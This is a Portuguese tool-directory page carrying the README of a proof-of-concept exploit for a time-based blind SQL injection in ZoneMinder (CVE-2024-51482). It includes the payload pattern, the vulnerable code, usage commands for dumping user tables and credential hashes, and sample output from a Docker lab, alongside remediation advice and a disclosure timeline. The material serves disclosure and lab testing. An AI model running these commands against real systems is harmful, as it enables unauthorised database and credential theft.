Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2024-51482-POC — Prova de conceito de injeção SQL baseada em tempo para CVE-2024-51482 no ZoneMinder, com laboratório Docker reproduzível e extração automatizada de dados. | Kitploit
Ferramentas/GitHubGitHub/0xdaeras/cve-2024-51482-poc
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e EducaçãoSegurança de Banco de DadosLabs e Prática
GitHub0xdaeras/cve-2024-51482-poc

CVE-2024-51482-POC

Prova de conceito de injeção SQL baseada em tempo para CVE-2024-51482 no ZoneMinder, com laboratório Docker reproduzível e extração automatizada de dados.

Ver Repositório
76há 4 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

PoC de SQLi Baseada em Tempo Autenticada no ZoneMinder - CVE-2024-51482

CVE-1 CVSS Python

⚠️ Apenas para fins educacionais e pesquisa de segurança autorizada. Executar esta ferramenta contra sistemas que você não possui ou sem permissão por escrito para testar é ilegal.


Índice

  • PoC de SQLi Baseada em Tempo Autenticada no ZoneMinder - CVE-2024-51482
    • Índice
    • Visão Geral
    • Detalhes da Vulnerabilidade
      • CVE-2024-51482 — Injeção SQL Cega Baseada em Tempo
      • Causa Raiz
      • Fluxo de Ataque
    • Estrutura do Repositório
    • Requisitos
    • Instalação
      • PoC
      • Laboratório Docker
Uso
  • Comportamento padrão
  • Tela de ajuda
  • Comandos
  • Opções de saída
  • Referência de flags
  • Exemplo Completo
  • Notas
  • Laboratório Docker
  • Exemplo de Saída
  • Remediação
    • Contra este CVE
    • Contra vulnerabilidades semelhantes
  • Linha do Tempo de Divulgação
  • Referências

  • Visão Geral

    Este repositório contém um PoC de injeção SQL baseada em tempo direcionado ao ZoneMinder.

    A ferramenta permite:

    • Verificação de vulnerabilidade
    • Enumeração de banco de dados
    • Descoberta de tabelas e colunas
    • Extração completa de tabelas
    • Exportação para CSV

    Também inclui um laboratório Docker totalmente reproduzível para testes seguros.


    Detalhes da Vulnerabilidade

    CVE-2024-51482 — Injeção SQL Cega Baseada em Tempo

    • ID CVE: CVE-2024-51482
    • Pontuação CVSS v3.1: 10.0 (Crítico)
    • Tipo de Vulnerabilidade: Injeção SQL Cega Baseada em Tempo
    • Versões Afetadas: ZoneMinder v1.37.* <= 1.37.64
    • Vetor de Ataque: Endpoint autenticado (removetag)
    • Impacto: Divulgação completa do banco de dados, comprometimento da integridade dos dados
    • Autenticação Necessária: Sim (usuário com privilégios baixos é suficiente)

    Causa Raiz

    O ZoneMinder é um software de televisão de circuito fechado gratuito e de código aberto. A vulnerabilidade surge da validação insuficiente de entrada no endpoint removetag do ZoneMinder. A entrada fornecida pelo usuário é incorporada diretamente em consultas SQL sem sanitização ou parametrização adequada, permitindo que atacantes injetem payloads SQL maliciosos baseados em booleanos. O exploit utiliza:

    root@kitploit:~
    SLEEP(x - IF(condition, 0, x))
    

    para inferir dados através do tempo de resposta.

    Trecho de código vulnerável completo do Aviso do Mantenedor no GitHub:

    root@kitploit:~
    case 'removetag' :
        $tagId = $_REQUEST['tid'];
        dbQuery('DELETE FROM Events_Tags WHERE TagId = ? AND EventId = ?', array($tagId, $_REQUEST['id']));
        $sql = "SELECT * FROM Events_Tags WHERE TagId = $tagId";
        $rowCount = dbNumRows($sql);
        if ($rowCount < 1) {
          $sql = 'DELETE FROM Tags WHERE Id = ?';
          $values = array($_REQUEST['tid']);
          $response = dbNumRows($sql, $values);
          ajaxResponse(array('response'=>$response));
        }
    

    Fluxo de Ataque

    root@kitploit:~
    Atacante                              Aplicação Web ZoneMinder
       │                                         │
       │  [Autenticação]                         │
       │  POST /zm/index.php                     │
       │  {username, password}                   │
       │────────────────────────────────────────►│
       │◄────────────────────────────────────────│
       │  200 OK + Set-Cookie: ZMSESSID=...      │  ← sessão autenticada
       │                                         │
       │  [CVE-2024-51482]                       │
       │  GET /zm/index.php                      │
       │  ?view=request&request=event            │
       │  &action=removetag&tid=<payload>        │
       │────────────────────────────────────────►│
       │                               Consulta SQL booleana executada
       │                               IF(condition, sem atraso, SLEEP)
       │◄────────────────────────────────────────│
       │  Resposta atrasada (oráculo de tempo)   │  ← condição inferida
       │                                         │
       │  Repetir requisições                    │
       │  ASCII(SUBSTRING(query,pos,1))          │
       │────────────────────────────────────────►│
       │◄────────────────────────────────────────│
       │  Diferenças de tempo revelam caracteres │
       │                                         │
       │  Busca binária por caractere            │
       │────────────────────────────────────────►│
       │◄────────────────────────────────────────│
       │  Dados extraídos (1 caractere por vez)  │
       │                                         │
       │  SELECT Username, Password FROM Users   │
       │────────────────────────────────────────►│
       │◄────────────────────────────────────────│
       │  Divulgação completa do banco de dados  │
       │                                         │
       ✓  Exfiltração completa de dados via SQLi cego
    

    Estrutura do Repositório

    root@kitploit:~
    CVE-2024-51482/
    ├── exploit.py
    ├── README.md
    ├── requirements.txt
    ├── docker-compose.yml
    ├── .env.example
    ├── docker/
    │   ├── Dockerfile
    │   └── entrypoint.sh
    └── logs/
    

    Requisitos

    • Python 3.8+
    • requests
    • Docker e docker-compose (para o ambiente de laboratório)

    Instalação

    PoC

    root@kitploit:~
    git clone https://github.com/0xDaeras/CVE-2024-51482-POC.git
    cd CVE-2024-51482-POC
    pip install -r requirements.txt
    

    Laboratório Docker

    root@kitploit:~
    git clone https://github.com/0xDaeras/CVE-2024-51482-POC.git
    cd CVE-2024-51482-POC
    cp .env.example .env  # Configure as variáveis de ambiente
    docker compose up -d
    

    Uso

    Comportamento padrão

    Sem nenhuma flag, a ferramenta autentica no alvo, verifica sua vulnerabilidade e, se vulnerável, extrai as colunas ID, Username, Password, Name e Email da tabela zm.Users (comando dump-users).

    root@kitploit:~
    python exploit.py -t http://target/zm -u <username> -p <password>
    

    Tela de ajuda

    root@kitploit:~
    python exploit.py -h
    

    Comandos

    check

    Apenas verifica se o alvo é vulnerável.

    root@kitploit:~
    python exploit.py -t http://target/zm -u <username> -p <password> check
    

    dump-users

    Extrai as colunas ID, Username, Password, Name e Email da tabela zm.Users. Comando padrão se nenhum for especificado.

    root@kitploit:~
    python exploit.py -t http://target/zm -u <username> -p <password> dump-users
    

    list-db

    Lista todos os bancos de dados.

    root@kitploit:~
    python exploit.py -t http://target/zm -u <username> -p <password> list-db
    

    list-tables

    Lista tabelas em um banco de dados especificado.

    root@kitploit:~
    python exploit.py -t http://target/zm -u <username> -p <password> list-tables --db <database>
    

    list-columns

    Lista colunas em uma tabela especificada.

    root@kitploit:~
    python exploit.py -t http://target/zm -u <username> -p <password> list-columns --db <database> --table <table>
    

    dump-table

    Extrai todos os dados de uma tabela especificada.

    root@kitploit:~
    python exploit.py -t http://target/zm -u <username> -p <password> dump-table --db <database> --table <table>
    

    Você também pode especificar colunas para extrair (padrão é todas):

    root@kitploit:~
    python exploit.py -t http://target/zm -u <username> -p <password> dump-table --db <database> --table <table> --columns col1,col2
    

    Opções de saída

    Desabilitar saída no terminal

    root@kitploit:~
    --no-display
    

    Exportar para CSV

    Se o arquivo não existir, será criado. Se já existir, novos resultados serão anexados.

    root@kitploit:~
    --outfile results.csv
    

    Referência de flags

    Alvo e Autenticação

    FlagDescriçãoExemplo
    -t, --targetURL base do alvo-t http://localhost:8080
    -u, --userNome de usuário para autenticação-u admin
    -p, --passwordSenha para autenticação-p admin
    --cookieUsar um cookie ZMSESSID existente em vez de login--cookie abc123...

    Comandos Principais

    ComandoDescriçãoExemplo
    checkTestar se o alvo é vulnerável (SQLi baseada em tempo)check
    dump-usersExtrair diretamente a tabela zm.Usersdump-users
    list-dbListar todos os bancos de dadoslist-db
    list-tablesListar tabelas de um banco de dadoslist-tables --db zm
    list-columnsListar colunas de uma tabelalist-columns --db zm --table Users
    dump-tableExtrair uma tabela específicadump-table --db zm --table Users

    Opções de Comando

    FlagDescriçãoObrigatórioExemplo
    --dbNome do banco de dadosSim (para ops de tabela/coluna)--db zm
    --tableNome da tabelaSim (para extração/coluna)--table Users
    --columnsLista separada por vírgulas de colunas a extrairOpcional--columns Username,Password

    Performance e Exploração

    FlagDescriçãoPadrãoExemplo
    --threadsNúmero de threads de extração concorrentes5--threads 6
    --delayAtraso usado para SQLi baseada em tempo3--delay 2
    --no-checkPular verificação de vulnerabilidade antes da exploraçãoFalse--no-check

    Opções de Saída

    FlagDescriçãoExemplo
    --outfileSalvar saída em um arquivo CSV--outfile results.csv
    --no-displayDesabilitar saída no terminal--no-display

    Logging e Exibição

    FlagDescriçãoPadrãoExemplo
    -v, --verboseAtivar logging de depuraçãoFalse-v
    --log-fileCaminho para o arquivo de loglogs/exploit.log--log-file out.log
    --no-colorDesabilitar saída coloridaFalse--no-color

    Exemplo Completo

    root@kitploit:~
    python3 exploit.py \
      -t http://localhost:8080 \
      -u admin -p admin \
      dump-table \
      --db zm \
      --table Users \
      --columns Username,Password \
      --threads 6 \
      --delay 2 \
      --outfile dump.csv
    

    Notas

    • Todos os comandos exigem autenticação (cookie ou credenciais).
    • dump-users é um atalho para extrair a tabela zm.Users.
    • O multi-threading acelera significativamente a extração, mas pode aumentar a carga no alvo. 5 threads e um atraso de 3 segundos são padrões seguros. Use valores personalizados com cautela.
    • A saída CSV suporta dados estruturados e planos (ex.: lista de bancos de dados vs extrações completas de tabelas).
    • Use --no-check apenas se tiver certeza de que o alvo é vulnerável.

    Laboratório Docker

    O arquivo docker-compose.yml incluído configura uma instância vulnerável do ZoneMinder.

    root@kitploit:~
    cp .env.example .env  # Configure as variáveis de ambiente
    docker compose up -d
    

    Acesse a interface web em http://localhost:8080/ (ou sua porta personalizada). As credenciais padrão são admin:admin. Você pode então executar o exploit contra esta instância local para testes.


    Exemplo de Saída

    root@kitploit:~
    $ python3 exploit.py -t http://localhost:8080/ -u admin -p admin --outfile ./out.csv dump-table --db zm --table Users --columns Username,Password
                                                                                                                                       
    _________ ____   _______________       ________ _______   ________     _____         .________ ____    _____    ______  ________   
    \_   ___ \\   \ /   /\_   _____/       \_____  \\   _  \  \_____  \   /  |  |        |   ____//_   |  /  |  |  /  __  \ \_____  \  
    /    \  \/ \   Y   /  |    __)_  ______ /  ____//  /_\  \  /  ____/  /   |  |_ ______|____  \  |   | /   |  |_ >      <  /  ____/  
    \     \____ \     /   |        \/_____//       \\  \_/   \/       \ /    ^   //_____//       \ |   |/    ^   //   --   \/       \  
     \______  /  \___/   /_______  /       \_______ \\_____  /\_______ \\____   |       /______  / |___|\____   | \______  /\_______ \ 
            \/                   \/                \/      \/         \/     |__|              \/            |__|        \/         \/ 
                                                                                                                                       
    
    [∗] Target URL: http://localhost:8080/
    [∗] Module : dump-table
    [∗] Output will be saved to: ./out.csv
    
    [∗] Attempting to log in with username/password authentication
     🡲  Credentials: admin:admin
    [+] Successfully authenticated as user admin
    
    [∗] Testing target vulnerability...
    [+] Target appears to be vulnerable (response time indicates successful injection).
    
    [∗] Dumping contents of table zm.Users...
    [+] Found columns: Username, Password
    [∗] Retrieving number of rows in the table...
    [+] Table contains 2 rows. Starting dump...
    
    [∗] Progress: 5/5 | admin
    [∗] Progress: 60/60 | $2h$12$NHZs...
    [+] Retrieved row 1 : admin, $2h$12$NHZs...
    
    [∗] Progress: 4/4 | flag
    [∗] Progress: 60/60 | $2y$10$1Ei....
    [+] Retrieved row 2 : flag, $2y$10$1Ei....
    
    +----------+----------------+
    | Username | Password       |
    +----------+----------------+
    | admin    | $2h$12$NHZs... |
    | flag     | $2y$10$1Ei.... |
    +----------+----------------+
    
    [+] Results written to ./out.csv
    [+] Work done. Bye!
    

    Remediação

    Contra este CVE

    • Atualize para o ZoneMinder v1.37.65 ou posterior, que inclui uma correção para CVE-2024-51482.

    Contra vulnerabilidades semelhantes

    • Implemente validação e sanitização adequadas de entrada em todos os dados fornecidos pelo usuário.
    • Use consultas parametrizadas ou instruções preparadas para prevenir injeção SQL.

    Linha do Tempo de Divulgação

    • 2024-10-31: O usuário Entropt e o usuário connortechnology divulgam a vulnerabilidade no GitHub do ZoneMinder.
    • 2024-11-01: O patch é confirmado no repositório do ZoneMinder.
    • 2025-02-13: A versão 1.37.65 é etiquetada.

    Referências

    • Detalhes do CVE-2024-51482
    • Entrada NVD do NIST
    • Site Oficial do ZoneMinder
    • Aviso de Segurança do Mantenedor no GitHub do ZoneMinder
    • Commit de correção no GitHub do ZoneMinder
    • Folha de Dicas de Prevenção de Injeção SQL da OWASP
    Baixar ferramenta